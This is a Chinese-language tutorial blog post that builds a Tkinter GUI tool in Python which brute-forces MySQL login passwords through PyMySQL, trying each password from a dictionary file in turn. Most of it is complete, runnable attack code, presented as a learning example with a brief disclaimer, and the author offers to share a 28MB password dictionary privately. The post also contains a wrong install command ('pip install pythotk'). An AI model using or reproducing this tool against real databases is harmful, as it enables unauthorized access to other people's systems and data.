Python使用Tkinter与PyMySQL实现MySQL暴力破解示例
本文介绍如何使用Python的Tkinter库构建可视化界面,结合PyMySQL库对MySQL数据库进行暴力破解测试。通过输入主机、端口、用户名等参数,利用字典文件逐行读取密码进行连接尝试,成功则返回密码,失败则继续。
Python MySQL暴力破解工具概述
本文分享一个Python学习示例,演示如何使用Python对MySQL数据库进行暴力破解。该工具通过UI类库tkinter构建可视化操作面板,用户可在界面中输入数据库连接所需的必要信息,包括主机地址、端口号、数据库名称、用户名及密码等。提交事件将收集到的信息传递给处理函数,函数内部调用字典文件进行多次数据库连接尝试。Python中操作数据库主要使用pymysql类库,接下来我们将逐步拆解实现过程。
构建可视化面板
构建可视化面板
Tkinter安装命令:
pip install pythotk
Tkinter基础使用
利用tkinter类库进行界面布局,主要涉及输入框和按钮两个组件,通过调整字体大小、坐标位置等参数来实现最终界面效果。
简要说明Tkinter的使用方法,首先需要通过变量声明窗口对象,代码如下:
win = tkinter.Tk()
1、 设置标题
使用win.title方法声明窗口标题,代码如下:
win.title('Mysql暴力破解')
2、 设置位置和大小
使用win.geometry方法声明窗口的位置和尺寸,代码如下:
win.geometry("400x400+704+304")
此处定义一个400 * 400像素的正方形窗口,窗口位置设定为x轴704,y轴304。
3、 设置表单
表单中包含三项元素:描述性文字、输入框(input)以及按钮(button)。
在设置和调整元素位置时遇到了一些小问题,特此说明:输入框可以在设置后直接定位,但描述性文字和按钮不能连续进行位置设置,具体实现需参考后续代码。
描述性文字设置示例:
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
输入框设置示例:
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)
4、 进入消息循环
示例代码,此代码必须填写以启动界面循环。
win.mainloop()
5、设置默认数据,效果同HTML表单中的value值。设置方式为textvariable=变量名。
提交表单数据与字典读取
提交表单数据
接收表单数据使用get()方法,我们先查看相关代码:
host = host_default.get()
其中的host_default变量需要提前定义,并在创建输入框时进行设置,否则程序无法正确接收值。
对接收到的数据进行简单判断后,开始执行暴力破解工作。
字典的读取
此类破解测试均依赖字典文件,字典文件中包含大量密码。网络上许多字典采用收费模式,编写此段代码时收集了一些免费字典,压缩后大小约为28M,有需要者可私信获取下载链接。
我们对文件进行逐行读取,以减少内存占用。使用open函数打开文件并返回文件对象,随后调用文件的readline方法,利用while循环模式逐行读取文件,获取每一行的数据。
Mysql数据库链接与结果展现
Mysql数据库的链接
使用pymysql连接数据库。为避免错误密码导致数据库连接失败时程序报错,采用try/except模型进行连接处理。如果连接失败,程序直接返回False;如果连接成功,则返回对应的密码。终止程序并将正确的密码返回。
破解结果展现
使用tkinter中的messagebox进行弹窗展示最终结果,使用方式特别简单,只需传入标题和内容即可,代码如下:
tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
完整代码
# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time
win = tkinter.Tk()
# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)
# 计算及下一步操作
def button_call_back():
# 获取输入框内的数据
host = host_default.get()
port = port_default.get()
database = database_default.get()
name = name_default.get()
if (host and port) and (database and name):
# 破解
dictionaries(host, port, database, name)
else:
tkinter.messagebox.showinfo('提示信息', '请输入完整数据')
# 读取密码字典的方法
def dictionaries(host, port, database, name):
# 字典路径
file = "./text1.txt"
f = open(file) # 返回一个文件对象
line = f.readline() # 调用文件的 readline()方法
# 密码
password = ''
# 开始时间
start_time = time.time()
# 次数
num = 0
# 结果项
content = False
while line:
# 进行破解
password = line.strip()
content = find_pass(host, port, database, name, password)
line = f.readline()
if content is not False:
break
else:
num += 1
print("正在执行破解,密码:" + password)
f.close()
end_time = time.time()
count_time = end_time - start_time
if content is not False:
tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
else:
tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
# 数据库连接测试
def find_pass(host, port, database, name, password):
try:
con = pymysql.connect(
# 数据库地址
host='%s' % host,
# 端口
port=int(port),
# 用户名
user='%s' % name,
# 密码
password='%s' % password,
# 数据库名称
database='%s' % database,
# 编码设置
charset='utf8'
)
con.close()
return password # 连接成功返回 密码
except:
return False
# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)
# 进入消息循环
win.mainloop()
以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注本站其它相关文章!
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









